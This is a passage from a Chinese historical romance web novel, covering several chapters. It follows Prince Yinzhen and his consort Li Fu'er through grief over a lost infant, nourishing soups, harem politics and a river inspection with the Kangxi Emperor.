胤禛都不知晓自己怎么就昏了头,将深恶痛绝的姜汤囫囵喝完了,甜不甜辣不辣的全然不知。
见着李芙儿的笑,他鬼使神差的点头:“滋味不错,你也去喝一碗。”
“知道,我这就去喝。”清脆地声音如同百灵,让胤禛沉郁的心情轻松几分。
等到两人都收拾好,被窝里也被香炉熏得暖洋洋的,胤禛搂住李芙儿,想着小格格,沉默不语。
他也是期待过宋格格的孩子的,小格格出生后的这些日子,他日日去看,看着她从小小的一个满满长大,又听着太医给小格格下了无药可治的判决。
小格格的离世,胤禛不可谓不伤心,清宫里认为孩子夭折不吉利,对于刚出生便夭亡的孩子,不入序齿,不进坟茔,甚至连棺木都没有,就地烧了,少少的一捧灰,直接便洒向天地。
这也是宋格格为什么死死拦着,不让苏培盛将小格格带走的原因。
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但胤禛不能接受他的孩子被这么对待,在太医摇头不语之时,胤禛心下明悟,当即便命苏培盛想法子,去宫外找了个风水好的地方,为他可怜的孩子寻个栖身之地。
尽管他是阿哥,在宫里却没有什么可用的人,做成这件事颇费了许多功夫。
但胤禛还是希望着,他的这些功夫都是白费,这些准备最终用不上,小格格能够平安长大。
然而事与愿违,小格格还是没能熬过这一劫。
李芙儿双手张开,环抱住胤禛的肩,将胤禛抱入怀中,温柔地拍着他的背。
胤禛抱住李芙儿的力气越来越大,越锢越紧,紧的都要喘不上气来,李芙儿默默地安抚着,许久,热烫的泪顺着她脖子流下。
两人紧紧相拥,互相慰籍。
天蒙蒙亮时,胤禛小心地将李芙儿放下,无声地掀开被子。
同样一夜未眠的李芙儿打起精神,将胤禛送了出去后,想着前一天夜里胤禛的泪,心事重重坐在梳妆镜前。
这情景看在辛嬷嬷眼里,却让她想到了其他地方。
自从李主子入了宫,四阿哥就再没去过旁人那儿,气盛的年纪,那事儿少不了,说不好李主子肚子里已经怀上了。
宋格格那事,想必把她吓到了。
接过秋菊手里的梳子,辛嬷嬷力度适中的为李芙儿梳着头,一梳两梳…从头皮都脚底都舒坦起来,李芙儿神色也放松下来。。
辛嬷嬷见时机正好,悄声在李芙儿耳旁劝慰:“主子您放心,宋格格那是命不好,您是大富大贵的命,不会和她一样的。”
李芙儿眨眨眼,被辛嬷嬷提醒了,才后知后觉,她若是有了孩子,也有不能长大的风险。
然而在宫里,吃避子汤是将全家老小都性命都不要了,若她想不怀上孩子,只能拒绝四阿哥,然而宫里没有主子的宠爱,日子过的也是苦不堪言。
横也是死,竖也是死,怀孕一事,不可避免。
辛嬷嬷说的命好命坏,过于玄虚,李芙儿不信,她回想着曾经的邻居,顺利养大孩子的,多是身体健壮的。
补,一定要把身体底子补起来!李芙儿托着下巴,恶狠狠想着。
18. 补汤
春雨一阵一阵的,很快天气便放晴,御花园里被雨水打落的花,早就被宫人们扫去,就像是宋格格生下小格格一样,悄然无息地湮没了踪迹。
除了宋格格还陷在小格格的离去里走不出来,旁人都开始了新的生活。
毕竟,这夭折的孩子太多太多,紫禁城里的人都已经见怪不怪。
胤禛也打起精神,次日便正常的去了上书房读书,除了胤禩与他说节哀时候,他露出了一丝伤心,其余时候一切如常,上课下课读书骑射。
只有夜里李芙儿摸着胤禛消瘦的背,看着他半夜皱着的眉,才能察觉胤禛心里还是难受的。
在感觉到胤禛背上的骨头一日比一日硌手后,李芙儿拍板决定,她每日喝的补汤,也要给胤禛准备一份。
胤禛的分例日日不落的送了一部分过来,这让辛嬷嬷不用受着巧妇难为无米之炊的为难,她使出浑身解数,在螺蛳壳里做道场,用茶水房里小小的炉子,换着花样的炖汤。
李芙儿喝了几日,唇更红,脸更白,夜里睡得格外安稳,整个人气色都好了一层。
“爷!”胤禛到西厢房的时候,李芙儿正捧着汤在喝,一见他的身影,李芙儿眼睛都亮了,她将碗搁下,踩上软底鞋,轻巧迎上去,挽着胤禛的手,走了进来。
胤禛如今在李芙儿这里格外随意,他伸长着腿,任由苏培盛将靴子脱下,又将外头的衣裳脱了,换上家常衣裳后,又将脖子间的扣子解开几颗,衣裳松松垮垮的耷着,胤禛只觉得都松快下来,惬意地坐在炕上,靠在墨绿色杭绸引枕中,随手拿了本书,有一搭没一搭的看着。
李芙儿本就坐在胤禛正坐着的位置喝汤,胤禛来了,按理该将上首让给他,但李芙儿已经在那儿消磨了一日,炕桌上按着她的习惯摆了许多东西,就连胤禛拿着的书,都是她随手撂下的。
换个地方坐,还得将东西全挪一边。
李芙儿眼珠儿一转,已经有了主意。
她轻巧地走到胤禛身旁,将软底绣鞋甩去,就像猫儿一样,偎到胤禛的怀里。
胤禛刚坐下,便察觉到垫子上还有余温,一看摆设,便知是占了李芙儿的地方,他本想换个地方,但见着李芙儿犹豫的眼神,心里起了逗弄的念头,状若无事的等着李芙儿动作。
没成想李芙儿直接入了他怀。
怀中人软绵绵的,好似天边的云入了怀抱,一下子便让胤禛入了温柔乡。
他已经想不起计较规矩不规矩,闻着馥郁的幽香,他隔着衣裳摩挲着。
“别,痒。”李芙儿连连笑着,越发往胤禛怀里躲,挨蹭间胤禛的眸子变得深沉,他喉结滚动几下,望了望窗外大亮的天色,大掌按住李芙儿的肩膀,清了清嗓子:“别闹了。”
察觉到身下人的变化,李芙儿也止了笑,宫里这么多眼睛盯着,白日宣淫要不得。
她从胤禛怀里出来,坐直了身子,但依然和胤禛挤在一块儿,隔着衣裳都能感受到对方的身上的温度。
胤禛深吸口气,在李芙儿的腰下拍了两下,意有所指的威胁:“别招我。”
连爷的自称都忘了。
李芙儿嘴儿抿起,挽起袖子,将炕桌上摆着的五彩牡丹缠枝碗端起,舀了一匙喂到胤禛的嘴前,殷殷笑着:“爷,您喝汤。”
胤禛素日里不爱喝汤,总觉得腻得慌,但今儿个许是被李芙儿雪白的手腕晃着,他顺从的张开嘴,将她喂着的汤喝尽。
汤水入腹,胤禛神色更显放松,这汤与御膳房做的全然不同,大油大荤全部撇去,只有清清爽爽的本味。
舒缓了眉眼,胤禛笑着用指尖缠绕着李芙儿的发,夸奖道:“你这汤不错。”
“这是辛嬷嬷特意炖的呢!”李芙儿美滋滋的,细长的指搭在胤禛胸膛抚摸着:“我让辛嬷嬷日后也给您送一份,也给您补补。”
胤禛一顿,他低头看着又缩到怀里的李芙儿。
眉目昳丽,熠熠生辉。
也不知是汤的滋味实在好,还是色令智昏,胤禛点头应了。
欢呼一声,李芙儿将胤禛搂得更紧,脸贴着脸蹭着:“爷您真好。”
黏糊糊的说
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着甜言蜜语,胤禛心里最后的犹豫也被打消。
自那日后,茶水间里日日香味不断,辛嬷嬷使尽千般手艺给两位主子炖汤。
既滋补身体,又滋味绝佳。
一日日的炖汤喝下去,胤禛原本消瘦的脸又充盈起来,肩背宽阔,力气更大,骑射课上更是一马当先,颇得了些称赞。
唯一苦了的大概只有李芙儿,夜里被折腾得更加厉害,每日都得靠辛嬷嬷推拿才能缓过劲来。
又是一日将近,李芙儿懒洋洋地靠着引枕,瞧着外头黄澄澄的太阳,只觉得这些日子昏昏沉沉的,虚度了大好春光。
她下定决心,要停了胤禛的汤,不然胤禛怎么样不知道,她要先受不住了。
然而事与愿违,这一日胤禛过来的时候,难得露出格外明显的笑意:“你这儿的汤炖得确实好,该赏。”
这,李芙儿手中的帕子都被她拧成了麻花,她干笑着:“爷您喜欢就好。”
李芙儿正想委婉地表达不再送汤的意思,胤禛却倏地将李芙儿打横抱起,几步迈入内室,将李芙儿扔到厚厚的褥子上。
李芙儿拧着腰坐起,不知为何胤禛如此激动,但不等她发问,便被胤禛从身后压住,堵住了嘴。
又是一夜荒唐。
次日醒来,已是天光大亮,李芙儿被秋菊扶着坐到椅子上,刚收拾好,便见到辛嬷嬷喜滋滋地走了进来:“主子大喜。”
满屋子的宫人也一同道喜。
李芙儿惊愕不已,仔细询问,才知晓昨儿个康熙考较诸位儿子的功课,胤禛竟然在骑射上拔得了头筹,得了康熙的当众夸奖。
胤禛喜不自胜,想到他喝了补汤后浑身使不完的力气,给李芙儿记了一大功!
前一天心情激荡,没来得及说什么,便拉着李芙儿滚到一团,早上了才觉得孟浪,不仅给西厢房的宫人们丰厚的赏赐,更是从私库里找了许多珍品,送给李芙儿。
望着那圆润饱满的珠串,绿意盎然的翡翠,红的滴血的宝石,李芙儿揉着腰想,这补汤,也不是不能继续送。
19. 欢喜
辛嬷嬷炖好的补汤,依旧日日不落的往前头送去。
但李芙儿之前担忧的事情并未发生。
不知从哪一日开始,胤禛已经许久没有进入后院,李芙儿连续很多日都没有见到胤禛的人。
小泽子现在在宫里也有几分脸面,他上下打听一番,隐约听说四阿哥心情不好,就连苏培盛都被打了板子,当值的人人自危,唯恐哪里做的不对受罚。
日光隔着薄薄的竹帘,在屋子里洒下斑驳的光影,玳瑁黄铜镀金甲套轻轻在炕桌上敲着,李芙儿扬声将辛嬷嬷唤来。
“主子。”辛嬷嬷一身酱色衣裳,低眉敛目,却难掩眼中的那丝担忧。
“辛嬷嬷,”李芙儿抬眸,静静地吩咐:“小泽子说的话你也听见了,四阿哥心里不虞,你去和我们屋子的人说,都长点眼力见儿,这些日子能不出门就不出门,像小泽子这样要去外头提膳拎水的,遇见什么事情多忍忍,受了委屈我心里记着,千万别在外头和人有冲突。”
诧异之色在辛嬷嬷眼里一闪而过,她本以为这主子找她过来,是为谋划如何将四阿哥请回后院,她已经准备了满肚子的话来劝。
没想到李主子看着年岁不大,行事却极聪明,丝毫没有被前些日子的独宠冲昏头脑,作派举止稳稳当当的。
是个立得住的。
在宫里得宠的女人不少,但大多都是昙花一现,只有稳得住的,才有长久前途。
辛嬷嬷欣慰笑着,将劝解的话咽下:“主子您放心,必不会出岔子。”
李芙儿心知辛嬷嬷是个有本事的,她浅浅点头:“我这屋子,就交给辛嬷嬷了。”
自那之后,李芙儿的屋子便大门紧闭,她日日在屋子里绣花写字,那几本话本子都被她翻得起了毛边,她也反反复复的翻着,在屋里呆着不出门。
就是可惜了春光。
日历一页页翻过,枝丫上最后一朵花也掉了下来,嫩生生的绿叶颜色变得暗沉,夜里的蝉鸣也多了起来。
夏天眼见着要来了。
胤禛终于又踏足了后院。
京城的天,只要不下雨,便格外的蓝,空旷的天际,只有几朵白云缓慢飘过,高大树木将灼人的烈日挡住,隔着树叶留下一个个光晕。
一入夏,屋子里变得闷热起来,李芙儿让人搬张椅子,放在屋檐下,初夏已经有些果子长成了,御膳房按着分例给李芙儿分了一盘,她将这略带涩味的果子放在珐琅盘里,摆在手边的边几上,摇头晃脑地看着翻了无数遍的话本子,看到高兴处,脚尖在裙子下愉悦地翘起。
“你倒是自在。”院子的大门被打开,胤禛龙行虎步地走了进来,一眼便见着李芙儿悠闲惬意的模样。
这主子今儿个怎么来了,半点信也没有。
李芙儿诧异地看着胤禛。
但此时不是她发呆的时候,她望着自己一点规矩也没有的样子,恨不能捂住脸,原地消失。
“爷!”李芙儿甜甜地唤着胤禛,顺手将话本子在边几上放下,又摸过簪子,将随意披着的头发松松盘起。
着急间,手撞上果盘,盘子哐当作响,果子滚了一地,笼子里的八哥瞬间展翅飞了下来,在果子间跳跃着,欢快地啄着。
李芙儿却顾不上这些脚在地上试探着,用脚趾勾过被甩掉的绣鞋,着急忙慌地穿上。
手忙脚乱,鸡飞狗跳,一个人好像就演了一场大戏。
胤禛终于忍不住,笑出声来。
四阿哥好久没这么笑过了,不愧是李主子!
苏培盛眼睛都笑得眯了起来,他费尽心思将四阿哥引过来,下的注没错。
李芙儿却顾不上苏培盛的眼色,她趿拉着绣鞋,小跑着到了院门口,去迎接胤禛。
“别急,”胤禛大步向前,将止不住的李芙儿抱了个满怀。
李芙儿在胤禛怀里轻喘着平复呼吸。
“四爷,您怎么来啦!”闷闷地声音从胤禛怀里传来。
“你这是不希望我来。”胤禛敛了笑意,乌云笼罩心间,他摸着李芙儿的后脖,若有所思地问。
“怎么会!”李芙儿终于喘匀了气,从胤禛怀里出来,她眼中水光荡漾,亮闪闪地看着胤
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禛:“您这么多天没来,我可想您了,茶不思饭不想的。”
“是吗?”胤禛心里的郁气被李芙儿不遮掩的喜意打散,也有了心思调笑。
胤禛拖长了声音,看向屋檐下,意有所指:“这就是你的茶不思饭不想?”
谎话被拆穿,李芙儿本该害怕,但她看着胤禛眼中的笑意,知晓对方并未动怒,她拉着胤禛的手,摇晃着撒娇:“这样是真的很舒服,您也来试试!”
说着,李芙儿直接将胤禛拉着在椅子上坐下,又令小泽子将胤禛的靴子脱掉,亲自给他换上软底的布鞋。
“这鞋子…?”胤禛皱着眉弯下腰,仔细看着这鞋子。
这是一双青布鞋子,没有什么繁复的绣养,但踩上去格外绵软而透气,并不像宫里针线房做出来那样,华贵,精致,却硬邦邦的。
“这鞋是不是很舒服?”李芙儿笑容掩不住骄傲:“这是我亲手给您做的。”
说着,李芙儿将双手递到胤禛的眼皮子底下,委屈不已:“还被扎了好几次呢!”
望着李芙儿白玉般手上那几个红点,好像是珍品上的瑕疵,胤禛心里又是怜惜又是满足,他的衣服鞋子,香囊佩饰向来是针线房做的,从来没有人给他做过。
阵阵热意在胤禛胸中翻涌,他将李芙儿的指尖握住,轻轻啄吻着。
“明日我让苏培盛去太医院给你取药。”亲了半天,胤禛还是没有说出,让李芙儿日后不要亲自动手这件事。
“谢爷恩典。”李芙儿声音如裹了蜜,笑盈盈地谢恩。
这让胤禛心里更加觉得对不住李芙儿,因为他的私心,让她受累,琢磨着库房里有什么东西能拿来送给李芙儿,当做她尽心伺候的赏赐。
余光瞥见胤禛复杂的神情,李芙儿便知晓她这步路走对了,她家境普通,在家里也要帮着母亲给弟弟妹妹做鞋做衣裳,这对她而言不是难事,用几个针眼换取四阿哥的怜惜与宠爱,这并不亏。
装作什么也不知道的靠进胤禛怀中,与他一道吹着初夏的凉风,清风徐徐,正是此时情绪此时天,无事小神仙。
20. 开解
天渐渐黑了,灯逐次点亮,初夏的晚风尚有几分凉意,将衣裳吹得紧紧贴在身上。
胤禛拍了拍怀中人的背:“进屋吧。”
李芙儿缩在胤禛怀里,已是昏昏欲睡,听见胤禛的话,她揉了揉眼,强打起精神,看了眼天色:“都这个时辰了,该用晚膳了。”
胤禛轻声斥道:“就想着这点事。”
望着胤禛眼里明晃晃的笑意,李芙儿知晓他并未生气,她软趴趴地搂着胤禛的胳膊,靠着胤禛往屋子里走去,说得理直气壮:“民以食为天,早膳晚膳自然重要!”
等进了屋子,苏培盛已经将四阿哥的分例也取了过来,满满当当摆了一桌子。
太监验过毒后,李芙儿挽起袖子,站在胤禛身后给他布菜,胤禛点了点旁边的椅子:“又闹什么妖呢,爷什么时候让你伺候过了。”
李芙儿低着头,委屈巴巴:“您这么长时间没到我屋子里来,妾担心哪里惹了您不喜,日日反省,将规矩又学了一遍,一定能伺候好您。”
悄悄抬眼,见胤禛冷着脸,并未动怒,李芙儿又凑近,捏着胤禛的袖子晃着,撒娇道:“爷,妾哪里伺候的不好,您和我说,别不理我行吗?”
胤禛被气笑了,他伸手捏住李芙儿的桃腮,手下的触感滑腻而柔软,摸上去好似陷入了棉花一般。
胤禛忍不住用大了点力气捏住:“小没良心的,爷这日子去了谁的屋子不成?刚进后院就来你这里了,还得被你冤枉。”
“爷,轻点!”李芙儿惊声呼着,她握住胤禛的手,将脸颊在胤禛手里蹭着,依赖地看着胤禛。
胤禛大掌挪开,却见着李芙儿脸上留下了红色的指痕,指痕印在雪白的脸颊上格外刺目。
下次再捏,得小点力气。
胤禛懊恼地想着,他手掌张合,虚虚地捻着,回想着细腻的手感,真真是瓷作的人。
“爷记住了,下次不用这么大的力气。”
“什么,还有下次?”李芙儿瞪圆了眼,不可置信地问道。
她连连摇头:“爷,我的脸一点也不好捏。”眼珠子咕噜噜的转,指着老鸭汤说道:“这是辛嬷嬷特意给您炖的,再不喝就凉了。”
胤禛清清嗓子,沉声问道:“还做怪吗?”
“不敢了不敢了。”李芙儿讪讪坐下,给胤禛舀了碗汤后,便拿起筷子,自顾自吃着,很是香甜。
胤禛笑着摇了摇头,看着李芙儿的吃相,也多用了些膳。
说也奇怪,被李芙儿这么一闹,胤禛只觉得外头发生的那些事情,就好像天边漂浮的云朵,被风一吹,就散了。
前些日子万岁爷和太子又斗了次法,为了奉先殿祭祀时候,太子的拜褥该摆在门槛内还是门槛外,很是折腾了一番,最后以万岁爷大怒,礼部尚书沙穆哈被免职结束。
这事情看似有了结果,实际上万岁爷和太子的怒火全都憋着,不知什么时候怒火便会对着谁倾泻出来。
胤禛前些日子每日都在书房苦读,唯恐康熙抽查功课时答不上来,被成了靶子。
也就是听见苏培盛说,李芙儿这些日子大门不出二门不迈的,胤禛担心她哪里不适,这才进了后院。
一时饭毕,李芙儿也没有再闹胤禛,小泽子拎了热水,两人分别洗净,换上轻便的衣裳,胤禛的脚上,依旧穿着李芙儿做的那双鞋。
李芙儿斜躺在贵妃榻上,如瀑的青丝倾泻而下,秋菊正用着大帕子将头发全部裹住,力道适中的擦着。
胤禛饶有兴致地看了一会儿,趁着秋菊换干爽帕子的时候,胤禛示意她退下,亲自弄着。
李芙儿感受到发间拉扯力度的变化,睁开紧闭的眼,却见着胤禛的脸,李芙儿忙挣扎着要从贵妃塌上起来,却被胤禛按住:“不急,就当是我这些日子冷落了你的赔罪。”
李芙儿顺着胤禛的力气,安然在榻上躺下。
胤禛既然有这份兴致,她何必泼冷水,她又不是福晋,需要端庄威严,她也没有做福晋的野心,无需却辇之德。
作为宠妾,她只要让胤禛高兴就好。
胤禛的力气比秋菊大多了,没多久,湿淋淋的头发便被拧得七八成干。
“爷,可以了,再晾晾就能睡了。”李芙儿伸手握住胤禛的手腕。
白皙透亮的手掌握在古铜色的
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手腕上,一纤细一粗犷,互相缠绕,格外旖旎。
胤禛用力闭眼,遏制住内心汹涌而起的欲,却未起作用,越遏制,越觉得心里好似火烧。
李芙儿感受到握着的手腕越来越烫,她稍稍坐起,扭头关切问道:“爷,可是哪里不适?”
回头间,柔软的红唇从胤禛的手腕间擦过。
胤禛喉结滚动,反手将李芙儿的手腕压制住,翻身压住。
“爷,去床上。”李芙儿的腿从贵妃塌上垂下,踩在脚踏上,黑色的木将白皙的腿衬得好似发光。
“这里就好。”胤禛粗喘口气,趁着换气的功夫回了句话,随即又低下头去。
正是年轻力壮的时候,又旷了这么些天,沾上身子就不愿意撒手。
湿答答的帕子被随手扔开,飞过屋子,搭在屏风上,遮住满室春光。
许久,屋子里的动静才停。
辛嬷嬷领着人准备好了热水,在外头候着,却久久未听到叫水。
辛嬷嬷瞬间笑了,她低声对秋菊说道:“小别胜新婚,里头不知道什么时候才会结束,你先回去歇着,这里我盯着就行。”
然而屋子里并不像辛嬷嬷想的那样热火朝天,胤禛捏着李芙儿圆润了一圈的腰,似笑非笑:“茶不思饭不想,嗯?”
这是又和她翻旧账了,李芙儿脸微红,她连忙扯过被子,将自己盖住,耍赖道:“春天了,万物苏复,我身上长点肉也是应当的!”
“你也不担心爷真对你恼了?”胤禛冷哼着。
“担心,怎么不担心!”李芙儿试探着挪着,贴入胤禛怀里。
胤禛又揉了揉李芙儿的腰,格外拎着软肉捏了捏:“担心还能这样?”
“担心是担心,但是不能为了未知的事情,就不过自己的日子了呀!”李芙儿手搭上胤禛的肩膀,理所当然地说着:“我将日子好好过,把自己也养好,这样才能讨您喜欢呀,您想想,如果您今天过来,见到我形销骨立的模样,您难道会高兴吗?”
照着李芙儿的话想去,胤禛不由承认,李芙儿是对的,他神色复杂地看着李芙儿:“你说得对,是我着相了。”
21. 兴奋
不知胤禛开悟了什么,自那日之后,前院里低沉的氛围好了许多,宫人们终于能放下心当差。
苏培盛恨不得去给李芙儿磕一个,在他眼里,李芙儿与救苦救难的菩萨也没有差了,暗暗决定,下次四阿哥心情再不好,还是得劳烦李格格。
且不提苏培盛的盘算,李芙儿只觉得来来往往见着的人,脸上都有了笑模样,全不是前几天人人自危的样子。
就连胤禛也恢复了来后院的频率,尽管还是只往李芙儿屋子里钻,但对后院里的女人们来说,也是一个指望。
略显厚重的春装脱下,换上轻薄的夏装,脸上的妆容也跟着清爽起来,一个个的走在胤禛的必经之路上,披散着一次偶遇,让四阿哥能想起自己。
“主子,她们实在太过分了!”小泽子去拎个食盒,碰到了不下三批人马。
谁都知晓,这些日子四阿哥入后院只来李格格这儿,那些人就是为了截李格格的胡!
小泽子忍无可忍,找到李芙儿,如是说了一通,随后抬头,眼光灼灼地看着李芙儿:“主子,奴才去给她们点教训。”
“不必了。”李芙儿却气定神闲,她举起帕子,细细地看绣样的纹理,淡淡说道:“拦住一次,还有下次,难道还能把她们都打杀了不成?哪怕是福晋,都没有这么大威风。”
“可是主子,他们这是在明晃晃的踩您的脸!”小泽子依旧不服气,宫里最是拜高踩低,若真让人得逞了,李芙儿难免要灰头土脸一阵子。
“脸面,什么脸面。”细长的指甲将绣错的地方挑起,李芙儿冷笑道:“我就是这院子里一个小小的格格,四阿哥抬举,过了几天好日子,难道就能忘了身份?”
“张氏,王氏,陈氏,”李芙儿掰着手指头一个个数着:“哪个没有伺候过爷,都是格格,难道还有高低?轮得着我们去耍威风吗?”
说着说着,李芙儿长长叹了口气,惆怅不已:“花无千日好这个道理,你们见得多了,用不着我教你,安知她们的今朝不是我的明日?在我屋子里当差,第一件事便要记住谨言慎行,万不能一朝得势便猖狂。”
“主子,是我错了!”小泽子满面通红,被李芙儿这么不留情面的一说,他意识到这些日子在旁人一句句的吹捧中,他实在是飘了。
小泽子一身冷汗的请罪。
李芙儿望了望跪着的小泽子,视线转向辛嬷嬷等人:“这些话你们也都记在心里。”
“谨遵格格教诲。”秋菊和冬梅心里一紧,忙齐声应了。
李芙儿垂下眼,收回了打量的视线,她冷眼瞧着,不止小泽子一个人如此,其他人也都浮躁起来,心浮了就容易犯错,她得给他们都紧紧弦,既然是她手下的人,就得最大程度的保证安全。
连消带打的一番话,让宫人们自省许久,踏实下来当差,再不敢盯着其他地方。
好在,胤禛并没有被一次又一次的偶遇截走,依旧只往李芙儿这儿走,这不知让多少人咬碎了牙。
等到胤禛再到西厢房,他便发现已经浮躁起来的人心,又静了下来。
胤禛暗自点头,李氏是个心里有数的,日后可以多宠着些,她不会恃宠生娇,做出不可挽回的错事来。
“爷,您怎么这么看着我?”李芙儿摸着脸,疑惑不已。
该怎么说呢,胤禛看她的眼中,不是她最熟悉的欲.色,多了些说不清道不明的东西,沉沉地不知想着什么。
“没事。”胤禛宽大的掌压住李芙儿,带着她的手心摸着自己的脸颊,顺着脸颊而下,压在嘴唇之上。
“爷,”李芙儿知晓这是胤禛不让她多问的意思,从善如流的止了疑问,顺着胤禛的力度,倒在他的怀里。
夏日的蝉鸣格外扰人烦,窸窸窣窣地叫个不停,随着天越热,叫得愈发大声,将满屋子的动静遮住。
“您今天怎么这般……?”等到胤禛失力的从身上翻下,睁眼看着帐顶发呆时,李芙儿如同陆上的鱼,急促喘息着,渴求着空气。
胤禛平日也是龙精虎猛,但是今儿个实在太过了,将她翻来覆去地弄了好几次,格外兴奋,久久没停。
到后来,李芙儿
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一根手指头也动不了了,胤禛才终于将满身的力气发泄出来。
胤禛讲究惜福养身,从未这般失态过,这不对劲。
不过,虽然不知道发生了什么事情,李芙儿忖度着胤禛的情绪,大多数兴奋而激动的,应当是好事。
果然,等到从失神中恢复过来,胤禛大力将李芙儿搂住,他凑到李芙儿耳旁,灼热地呼吸喷洒在她耳朵上:“汗阿玛要带我去巡视河道,只带我一个人”
“太好了!”李芙儿一骨碌坐起,她侧着身子,止不住地惊喜:“爷,这真是喜事,去哪个河道,您哪天过去,要去多久?”
李芙儿高兴地晃着身子,乌黑的发如绸缎起伏。
康熙将胤禛带去巡视河道,必然能长见识,甚至能认识更多的大臣,对于一直在上书房读书的阿哥来说,这是难得的差使。
更何况,康熙这次巡视,只带胤禛一个儿子,这意味着,胤禛在康熙心里,已经到了可以独当一面的时候了。
胤禛静静地看着兴奋的李芙儿,半晌没有说话。
“爷,我是不是问得太多了?”李芙儿心里咯噔一下,她忐忑问道。
后宫不得干政,她问的那些话,很容易被引申为打听前朝的事情。
“没事,”胤禛揉着李芙儿的发,将原本顺滑的发弄得毛燥,他低低笑着,安抚道:“这是爷和你说的,不犯忌讳。”
他一句一句地回着李芙儿的疑问:“去无定河巡视,终点许要到天津,五天后就去,去多长时间还不知晓,应该不会太久,大概一旬的样子。”
抓住胤禛的手,不让他乱动,嗔怪地看他一眼,李芙儿捋顺了头发,又高兴起来:“无定河离京城不远,路上您不会受太多罪。”
随即又摇头否定:“不对,天越来越热了,防虫的东西得带上,中暑的药材也给您拿上,其他的东西也不能少,我想想还要带什么,赶紧给您收拾出来。”
胤禛没和李芙儿说,他出行的东西苏培盛都准备好了,他含着笑,看着李芙儿掰着手指头盘算着,阵阵热意在胸中涌动。
22. 姜汤
夏日的雨来的格外急,这一日走了一半,突然天地变色,瞬间瓢泼大雨倾盆而下。
胤禛随在康熙身后,跟在巡视河道的大队伍中,被突如其来的暴雨打断了脚步。
“四阿哥,万岁爷有令,今日在此地扎营!”小太监冒着雨跑来传答着康熙的口谕。
胤禛翻身下,随意在脸上抹了几下,勉强睁开眼:“谨遵汗阿玛口谕。”
有那善于作战的,当即便在附近找到扎营的好地方,地势平坦,远离山川与河道,尽管打水需要下人多花些时间,但是避免了被水冲走的危险。
从盖着油毡布的马车里将帐子取出,士卒们熟练地撑起一个又一个的帐篷,以康熙的御帐为中心,皇亲贵戚,文武大臣在外围绕着驻扎。
作为康熙的儿子,且是这次唯一带在身边的儿子,胤禛的帐篷就在离康熙最近之处。
康熙已经移驾到了他的御帐之中。
胤禛见着御帐的帘子放下,也在苏培盛的伺候下进了自己的帐子。
出门在外,条件自不会有多好,胤禛的帐子不大,不过能容七八个人而已,地上铺着一层油毡子,将地上的水隔开,但寒浸浸的湿意依旧往帐子里钻。
胤禛穿着的蓑衣没挡住大雨,厚重的阿哥服湿了个彻底,全贴在了身上。
“主子,您赶紧换上衣服。”苏培盛从行礼中将干净衣裳取出,令他干儿子伺候胤禛换上。
又亲自取了一个小巧的炉子并炭火,生起了一炉热腾腾的火,将随身的水囊倒入壶里,又从随身包袱里翻找一阵,不知拿出什么东西,从怀中掏出小刀切了几片放进去。
“这是做什么?”胤禛张开手正等着小太监给他解扣子,却见到苏培盛的这一番行为,他疑惑地询问。
“主子爷,奴才给您煮碗姜汤。”
苏培盛将手展开,赫然是一个已经被切了一半的姜块,新鲜的姜汁味道在蔓延。
姜汤?
平时姜这东西很容易得到,但是此时是临时扎营,人人都兵荒马乱的,膳房那边更是不知安置到什么地方,想要找到姜块,却不是那么容易。
“你准备的倒齐。”胤禛哼笑两声,视线在炉子,炭火,铜壶以及姜块上扫过,他推开了小太监替他解扣子的手。
“主子爷,奴才可不敢贪功。”苏培盛圆胖的脸笑成一团:“这是出发前李主子特特叮嘱的,说外头不比家里,很有可能不趁手,让奴才将用得上的东西随身带着,免得一时要用,找不到地方领。”
“瞎胡闹。”胤禛总算知道李芙儿给他收拾的那一大车行李里都有些什么东西了,他轻斥道:“爷难道是吃不了苦的人吗?”
苏培盛赔笑着劝了几句,心中腹诽,主子您好歹将眼底的笑着收一收。
不过倒也是,四阿哥长在深宫,先皇后身子又不好,除了身边伺候的人,没人这么将他惦记过。
“把东西给我。”胤禛将手出,宽大的掌心里有些细碎的伤痕。
苏培盛赶紧将剩下的半块姜递上。
只见胤禛若有所思地看了一会儿,从靴子里将匕首拔出,大步走到铜壶前,将剩下的半个姜也切了进去。
“主子?”这是做什么,难道是为了不辜负李主子的心意,自己亲自动手?
甚至连衣裳都不换了,就这么湿着煮着。
苏培盛只觉得牙疼。
“苏培盛!”
“奴才在。”
“找个好点的碗来。”胤禛沉声吩咐。
苏培盛一个激灵,才见着已经沸腾的姜汤,他忙在随身的包袱里又掏了一阵,果然翻出来一个被包得严实的粉彩盖盅,也是李主子做主放进去的。
暗黄色的姜片被过滤而出,浓郁的姜味充满帐子。
胤禛仔细端详片刻,只见黄澄澄的水在粉彩盅里荡漾,他满意点头,披上斗笠和蓑衣,双手捧着姜汤,出了帐子。
苏培盛大惊,连忙跟了上去。
却见胤禛将这粉白盖盅小心地护在怀里,顶着暴雨走到康熙住的御帐前求见。
守门的侍卫见是四阿哥亲来,不敢为难,忙进帐子回禀。
康熙当即令梁九功将胤禛领进来。
康熙的御帐比旁人的大上许多,不同于其他人只能打地铺,康熙的帐篷里甚至摆下了床,桌子,椅子。
此时他没有接见大臣,正坐在椅子上批阅奏折,这是一大早京中快马送来的。
胤
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禛脱下斗笠和蓑衣,走到康熙面前,一眼便见到上头太子拟的条陈,他忙垂下眼,恭敬地向康熙请安。
“这么大的雨,你怎么来了?”康熙将御笔放下,笑着问道。
“汗阿玛,”胤禛请过安后,双手将怀中的盖盅呈上,外头风雨大作,这盖盅却一点雨水也没有沾到。
“风凉雨急,儿子忧心您受寒,亲自炖了姜汤,献请汗阿玛。”
雨水顺着衣服流下,在胤禛的脚下汇聚成了一个小水洼,但胤禛没有管他身上的狼狈,他举着盖盅,直直地奉给康熙。
梁九功都还没有准备的东西,被胤禛送来了,康熙看着胤禛指节发白的手,心软地接过。
他喝了一口,先是被浓重的姜味呛得咳嗽两声,随后便感觉一股热意自小腹散出,浑身都暖了起来。
这姜汤,还真是老四亲手熬的。
康熙摸着微烫的盅,若有所思想道。
若是御膳房熬出的姜汤是这个水准,御厨是不想要命了。
感受到儿子的孝心,康熙忍着呛人的姜味,三两口喝完了,额头上都微微冒出汗意,他颔首赞道:“你是个孝顺的。”
胤禛忙磕头谢恩。
康熙笑着说道:“这姜汤我已经喝了,你也赶紧回去喝一碗,别我没事,你倒着了凉。”
被康熙这么一关心,胤禛激动不已,他红着眼,磕头谢恩。
余光瞥见御帐角落的起居注官,沉默地将这父慈子孝的一幕,记在纸上。
胤禛又冒着雨回了自己的帐子,这一来一回,身上被淋得更加透,他却恍若未觉。
